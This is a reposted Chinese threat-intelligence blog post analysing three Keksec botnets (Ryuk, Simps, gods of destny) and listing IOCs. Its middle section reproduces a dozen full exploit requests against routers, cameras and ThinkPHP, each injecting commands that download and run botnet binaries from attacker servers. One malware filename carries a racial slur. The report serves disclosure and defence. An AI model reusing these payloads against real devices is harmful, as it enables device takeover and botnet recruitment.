Ryuk Botnet、 Simps Botnet 、Gods of Destny Botnet——Keksec团伙运营网络新增三个僵尸网络家族
2021-06-18 11:08:27 Author: blog.nsfocus.net(查看原文) 阅读量:120 收藏

阅读： 24

一、概述

近期以来，绿盟科技伏影实验室高级威胁狩猎系统捕获到多个与Keksec黑客组织相关联的僵尸网络木马。经过详细的分析，我们发现该组织新增了成员ur0a，ur0a在4、5、6这三个月每月都在增加新变种到其运营网络当中，包含最新发现的僵尸网络Ryuk Botnet，gods of destny Botnet以及4月份以来十分活跃的Simps Botnet。
新增的三个僵尸网络有着相同的风格，它们似乎对于宣示主权尤为热衷，对于攻陷的机器第一件事便是插旗表示机器已被KekSec组织感染，并随即在感染日志中留下组织签名及联络方式，颇有恐怖组织对此次事件负责的意味。比如：
“This Device Is Infected By Ryuk Botnet Instagram:@ur0a_Discord:UR0A#2199-Ryuk#4652”。
同时，Keksec所采用的恶意代码架构也在不断的增加，在以往的活动中，该组织倾向于使用Mirai或Gafgyt架构来构建恶意代码，但近期却采用tsunami架构来构建了新的僵尸网络Ryuk Botnet。其后期将会如何发展值得引起我们的关注，伏影实验室将持续追踪Keksec组织及其所运营的Ryuk Botnet、gods of destny、Simps Botnet的活动。

二、Ryuk Botnet

Ryuk Botnet是绿盟科技伏影实验室捕获到的新型僵尸网络木马，其背后的组织是近期活动较为频繁的Keksec。木马在入侵设备后大张旗鼓的表明自己的身份，并留下组织信息：“This Device Has Been Infected by Ryuk Botnet Made By ur0a And Keksec Group”。

Ryuk Botnet基于tsunami架构，主要功能是发起DDoS攻击。

Ryuk Botnet有多个版本，通常以ur0a.mips，ur0a.i686，ur0a.x86_64……的方式命名，其中大部分加了UPX壳,通过如下方式得以分发：

基础设施拼接路径
 185.224.129.235
107.172.156.158
107.172.156.158
192.236.146.182
23.95.8.110    		/Ryuk/ur0a.mips
/Ryuk/ur0a.i686
/Ryuk/nigger.sh
/Ryuk/ur0a.i586
/Ryuk/ur0a.x86_64
/Ryuk/ur0a.armv4l
/Ryuk/ur0a.armv6l
/Ryuk/ur0a.armv7l
/Ryuk/ur0a.armv5l
/Ryuk/ur0a.mipsel

部分版本中C2以明文的方式存储，没有留下instagram以及Discord联络方式，而在另外一些版本中，C2及黑客组织信息都以加密的方式存储：

解密后：This-Device-Is-Infected-By-Ryuk-Botnet-Instagram:@ur0a_Discord:UR0A#2199-Ryuk#4652

其中留下两种联络方式：

instagram: @ur0a_

Discord: UR0A#2199

有趣的是ur0a颇有俄语Ура的意思。因其英译即为Ura，可译为万岁。看来作者真是满满的苏维埃血统。

同时，我们捕获到攻击者曾利用CVE-2021-33514漏洞下发或更新脚本文件nigger.sh。

VULNERABILITYAFFECTED DEVICESExp
CVE-2021-33514NETGEARGET /setup.cgi?token=cd/tmp;rm-rfnigger.sh;wgethttp://107.172.156.158/Ryuk/nigger.sh;chmod+xnigger.sh;./nigger.sh;wgethttp://195.133.40.24/

脚本文件nigger.sh被用于下发或更新Ryuk Botnet木马。

 通过对大量不同版本Ryuk Botnet的分析，我们发现：

1.Ryuk Botnet感染机器后的log文件依然存在；

2.用于下发及更新有效载荷的脚本文件nigger.sh有过多次变更；

3.Ryuk Botnet后期版本中函数命名消除了符号信息；

4.C2存储方式由明文转为加密存储。

5.木马功能单一。

基于这些，我们有理由认为Ryuk Botnet是一个处于开发初期阶段且不断更新与发展的僵尸网络。同时，我们也可以看到Keksec近期的一些活动：

1. keksec运营HybridMQ-keksec（组合Mirai和Gafgyt源代码修改而来）

2.今年4月份keksec开始运营Simps Botnet（基于Mirai架构）。

3.今年5月初 gods of destny Botnet开始出现（基于Mirai架构）。

4.今年6月初Ryuk Botnet开始频繁活动起来，并有过多个版本的更迭（基于tsunami架构）。

在Keksec以往的活动中，该组织倾向于使用Mirai或Gafgyt架构来构建恶意代码，Simps Botnet和gods of destny Botnet采用的都是mirai架构，但Keksec近期却采用tsunami架构来构建了新的僵尸网络Ryuk Botnet，而tsunami的功能从来不止于DDoS，下载并运行其它恶意软件也是其重要功能之一，其后期将会如何发展值得引起我们的关注。

三、Simps Botnet && gods of destny Botnet

僵尸网络木马Simps Botnet和gods of destny Botnet也与Ryuk Botnet具有相同的风格，它们似乎对于宣示主权尤为热衷。对于攻陷的机器第一件事便是插旗表示机器已被KekSec组织感染，颇有恐怖组织对此次事件负责的意味。

gods of destny Botnet：

Simps Botnet还留下了与Ryuk Botnet相同的两种联络方式：

然而经过仔细地分析后，我们发现Simps Botnet和gods of destny Botnet采用的都是mirai架构。背后的组织也都为KekSec，两者恶意软件的分发方式与Ryuk Botnet类似，都是从一个脚本文件开始，文件分发所采用服务器基础设施也与Ryuk Botnet有所重合。

Simps Botnet的一个版本中，携带漏洞高达13种。

VULNERABILITYAFFECTED DEVICESExp
CVE-2018-10561Dasan GPON routers“POST /GponForm/diag_Form?images/ HTTP/1.1\r\n
User-Agent: Hello, World\r\n
Accept: */*\r\n
Accept-Encoding: gzip, deflate\r\n
Content-Type: application/x-www-form-urlencoded\r\n
\r\n
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://23.95.80.200/gpon+-O+/tmp/”
CVE-2018-10562Dasan GPON routers“POST /GponForm/diag_Form?images/ HTTP/1.1\r\n
User-Agent: Hello, World\r\n
Accept: */*\r\n
Accept-Encoding: gzip, deflate\r\n
Content-Type: application/x-www-form-urlencoded\r\n
\r\n
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://23.95.80.200/gpon+-O+/tmp/
gaf;sh+/tmp/gaf`&ipv=0″
CVE-2014-8361Realtek“POST /picdesc.xml HTTP/1.1\r\n
Host: 127.0.0.1:52869\r\n
Content-Length: 630\r\n
Accept-Encoding: gzip, deflate\r\n
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\n
Accept: */*\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n
Connection: keep-alive\r\n
\r\n
<?xml version=\”1.0\” ?><s:Envelope xmlns:s=\”http://schemas.xmlsoap.org/soap/envelope/\” s:encodingStyle=
\”http://schemas.xmlsoap.org/soap/encoding/\”><s:Body><u:AddPortMapping xmlns:u=\”urn:schemas-upnp-org:ser
vice:WANIPConnection:1\”><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtoc
ol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf mips; wget
 http://23.95.80.200/Simps/mips -O mips; chmod 777 mips; ./mips realtek`</NewInternalClient><NewEnabled>1<
/NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseD
uration></u:AddPortMapping></s:Body></s:Envelope>\r\n
\r\n”
CVE-2017-17215Huawei HG532“POST /ctrlt/DeviceUpgrade_1 HTTP/1.1\r\n
Content-Length: 430\r\n
Connection: keep-alive\r\n
Accept: */*\r\n
Authorization: Digest username=\”dslf-config\”, realm=\”HuaweiHomeGateway\”, nonce=\”88645cefb1f9ede0e336e
3569d75ee30\”, uri=\”/ctrlt/DeviceUpgrade_1\”, response=\”3612f843a42db38f48f59d2a3597e19c\”, algorithm=\”
MD5\”, qop=\”auth\”, nc=00000001, cnonce=\”248d1a2560100669\”\r\n
\r\n
<?xml version=\”1.0\” ?><s:Envelope xmlns:s=\”http://schemas.xmlsoap.org/soap/envelope/\” s:encodingStyle=
\”http://schemas.xmlsoap.org/soap/encoding/\”><s:Body><u:Upgrade xmlns:u=\”urn:schemas-upnp-org:service:WA
NPPPConnection:1\”><NewStatusURL>$(/bin/busybox wget -g 23.95.80.200 -l /tmp/binary -r /Simps/mips; /bin/b
usybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewD
ownloadURL></u:Upgrade></s:Body></s:Envelope>\r\n”
“POST /ctrlt/DeviceUpgrade_1 HTTP/1.1\r\n”
Content-Length: 430\r\n
Connection: keep-alive\r\n
Accept: */*\r\n
Authorization: Digest username=\”dslf-config\”, realm=\”HuaweiHomeGateway\”, nonce=\”88645cefb1f9ede0e336e
3569d75ee30\”, uri=\”/ctrlt/DeviceUpgrade_1\”, response=\”3612f843a42db38f48f59d2a3597e19c\”, algorithm=\”
MD5\”, qop=\”auth\”, nc=00000001, cnonce=\”248d1a2560100669\”\r\n
\r\n
<?xml version=\”1.0\” ?><s:Envelope xmlns:s=\”http://schemas.xmlsoap.org/soap/envelope/\” s:encodingStyle=
\”http://schemas.xmlsoap.org/soap/encoding/\”><s:Body><u:Upgrade xmlns:u=\”urn:schemas-upnp-org:service:WA
NPPPConnection:1\”><NewStatusURL>$(/bin/busybox wget -g 23.95.80.200 -l /tmp/binary -r /wrgjwrgjwrg2463563
56356/n2; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary wget.selfrep.exploit.huawei)</NewStatusURL><Ne
wDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>\r\n
\r\n”
CVE-2018-20062ThinkPHP“GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1]
[]=’wget http://23.95.80.200/Simps/x86_64 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf
thinkphp’ HTTP/1.1\r\n
Connection: keep-alive\r\n
Accept-Encoding: gzip, deflate\r\n
Accept: /\r\n
User-Agent: WW3V1SRC/2.0\r\n
\r\n”
Linksys RCE　“POST /tmUnblock.cgi HTTP/1.1\r\n
Host: 127.0.0.1:80\r\n
Connection: keep-alive\r\n
Accept-Encoding: gzip, deflate\r\n
Accept: /\r\n
User-Agent: python-requests/2.20.0\r\n
Content-Length: 227\r\n
Content-Type: application/x-www-form-urlencoded\r\n
\r\n
ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Tmipsel%3B+wget+http%3A%2F%2F23.95.80.200%2FSimps%2FTmipsel%3B+chmod+777
+Tmipsel%3B+.%2FTmipsel+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1″
Zyxel RCEZyxel“POST /cgi-bin/ViewLog.asp HTTP/1.1\r\n
Host: 192.168.0.14:80\r\n
Connection: keep-alive\r\n
Accept-Encoding: gzip, deflate\r\n
Accept: */*\r\n
User-Agent: python-requests/2.20.0\r\n
Content-Length: 227\r\n
Content-Type: application/x-www-form-urlencoded\r\n
\r\n
 /bin/busybox wget http://23.95.80.200/N1qq3r.sh; chmod +x N1qq3r.sh; ./N1qq3r.sh
UPnP SOAP Command ExecutionD-Link Devices UPnP SOAP 　“POST /UD/?9 HTTP/1.1\r\n
User-Agent: OSIRIS\r\n
Content-Type: text/xml\r\n
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\n
\r\n
<?xml version=\”1.0\” ?><s:Envelope xmlns:s=\”http://schemas.xmlsoap.org/soap/envelope/\” s:encodingStyle=
\”http://schemas.xmlsoap.org/soap/encoding/\”><s:Body><u:AddPortMapping xmlns:u=\”urn:schemas-upnp-org:ser
vice:WANIPConnection:1\”><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtoc
ol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var
/dev/.e && cd /var/dev; wget http://23.95.80.200/N1qq3r.sh -O – > Hades.sh; chmod 777 Hades.sh; sh Hades.s
h; rm Hades.sh; iptables -A INPUT -p tcp –destination-port 5555 -j DROP`</NewInternalClient><NewEnabled>1
</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLease
Duration></u:AddPortMapping></s:Body></s:Envelope>”
JAWS Webserver unauthenticated shell command execution　“GET /shell?cd+/tmp;rm+-rf+*;wget+ 23.95.80.200/Simps/armv4l;chmod+777+/tmp/armv4l;sh+/tmp/armv4l HTTP/1.1\r”
\n
User-Agent: Hello, world\r\n
Host: 127.0.0.1:80\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n
Connection: keep-alive\r\n
\r\n”
Linksys RCE　Linksys E-series devices“POST /tmUnblock.cgi cd /tmp; rm -rf N1qq3r.sh; wget http://23.95.80.200/N1qq3r.sh;chmod 777 N1qq3r.sh;./N1qq3r.sh”
HNAP SoapAction-Header Command ExecutionD-Link devices“POST /HNAP1/ HTTP/1.0\r\n
Content-Type: text/xml; charset=\”utf-8\”\r\n
SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://23.95.80.200/Simps/mips && c
hmod +x mips;./mips hnap`\r\n
Content-Length: 640\r\n
\r\n
<?xml version=\”1.0\” encoding=\”utf-8\”?><soap:Envelope xmlns:xsi=\”http://www.w3.org/2001/XMLSchema-inst
ance\” xmlns:xsd=\”http://www.w3.org/2001/XMLSchema\” xmlns:soap=\”http://schemas.xmlsoap.org/soap/envelop
e/\”><soap:Body><AddPortMapping xmlns=\”http://purenetworks.com/HNAP1/\”><PortMappingDescription>foobar</P
ortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingP
rotocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></s
oap:Envelope>\r\n
\r\n”
Comtrend VR-3033 RCE　“GET /ping.cgi?pingIpAddress=google.fr;wget%20http://23.95.80.200/N1qq3r.sh%20-O%20-%3E%20/tmp/jno;sh%20/tm
p/jno%27/&sessionKey=1039230114’$ HTTP/1.1\r\n
Connection: keep-alive\r\n
Accept-Encoding: gzip, deflate\r\n
Accept: */*\r\n
User-Agent: Hello, World\r\n
\r\n”
CVE-2020-8958Netlink GPON Router“GET /boaform/admin/formPing?target_addr=;wget%20http://23.95.80.200/N1qq3r.sh%20-O%20-%3E%20/tmp/jno;sh%20
/tmp/jno%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1\r\n
Connection: keep-alive\r\n
Accept-Encoding: gzip, deflate\r\n
Accept: */*\r\n
User-Agent: Hello, World\r\n
\r\n”

该版本所支持功能如下：

四、总结

Keksec是一个极为活跃的黑客组织，曾有报告称该组织至少由四人组成，主要通过DDoS攻击和勒索活动来获利，该组织向来比较高调，早在2018 就因黑掉广告牌并在推特上炫耀其入侵成果而占据新闻头条。近期，该组织又在不断构建与更新其僵尸网络，并在入侵设备后大张旗鼓的表明自己的身份，留下组织信息，短短三个月的时间就新增了多个僵尸网络组件，同时，他们所采用的恶意代码架构也在不断的增加，其后期将会如何发展值得引起我们的关注。  

五、 IOC

MD5：

1c8d2898439c95d5a8e566ba285f3129

b7a1cd513ea3aff1847fb5c7cdb9ca8d

87f1d9c6d33dc14b3186819d7740d019

9559d8521c4b65b5c8d06d40fddddc83

339d107321efca74553e4f5eac03d779

7f078854c3e0e763580d2351dc235f7a

1c5c75fe918e27e53104146c6643655e 

d3f6c8ea992b1c7bec2a8cbeae81afdc 

e79846cd74293dfcf5f37381a228fdbe

4aac6b909923a9c07fdfda6c24ced04c

1dddd6878b523130135075dca3e19d6e

28fc2bb60f8d290cf9813ad2c95becbd

40ff44e10f03f8cebca42d78f0fde8d0

54750cc2baf72aea1c9232a2ce0bb942

627758db57de511b58919450988bc288

04c38d5b33429714be8de125cb8123a8

72ac21c4e9cbd02f42d7aec452c21b7c

09536541d540f8f8c32ed5fe7163c789

06f1916f2357c71931c148f79718faa2

2c0510b8b14fcdbbddeaec331501ed0e

082694cf07e984de5b57662a198c9012

a629df5e8482b15573fdb990ca0bf4b5

3582e1c44b7828fa953da03d9024b09b

1ee802a9710f4dea9c750eebc0a15352

766ecab1137b0e186efb1ad8eae43ae3

6b26a6f28090b6e9f20579e25b87f07e

4273f0f1759a141629b62d7b428c9a25

8a0d9cbed0a7162d28cadaa18b83762a

36eb893b647c50b16d19da8505402610

38e52050f018d7dd592d596f00caf076

cb4b7615028a9bcaaf461664787cf5a2

9b72a6d18cdb63464f1f997eee06df2e

f0f2d1b7f4ffd565b6da0c0540cb3e66

fe9f307825d082e13b3665b676327d9f

7871e7e19d2db1616381104ff40896c6

55e85759962bb889cc113a3d9b4d6e25

ef77b873fb4cfcd474f24f82f3df4a49

d9996e501083e055c916e69ad4b2cb70

ec15c463ce5c0a286663402d225140ac

91a94a1492fc7a48aa32ac57e098151b

Ip

107.172.156.158

192.236.146.182

185.224.129.235

45.14.224.127

23.95.8.110

Strings

instagram: @ur0a_

Discord: UR0A#2199

gods of destny

Ryuk Botnet

Simps Botnet

ur0a.mips

ur0a.i686

nigger.sh

ur0a.i586

ur0a.x86_64

ur0a.armv4l

ur0a.armv6l

ur0a.armv7l

ur0a.armv5l

ur0a.mipsel

关于伏影实验室

研究目标包括Botnet、APT高级威胁，DDoS对抗，WEB对抗，流行服务系统脆弱利用威胁、身份认证威胁，数字资产威胁，黑色产业威胁及新兴威胁。通过掌控现网威胁来识别风险，缓解威胁伤害，为威胁对抗提供决策支撑。

版权声明

本站“技术博客”所有内容的版权持有者为绿盟科技集团股份有限公司（“绿盟科技”）。作为分享技术资讯的平台，绿盟科技期待与广大用户互动交流，并欢迎在标明出处（绿盟科技-技术博客）及网址的情形下，全文转发。
上述情形之外的任何使用形式，均需提前向绿盟科技（010-68438880-5462）申请版权授权。如擅自使用，绿盟科技保留追责权利。同时，如因擅自使用博客内容引发法律纠纷，由使用者自行承担全部法律责任，与绿盟科技无关。


文章来源: http://blog.nsfocus.net/ryuk-botnet/
如有侵权请联系:admin#unsafe.sh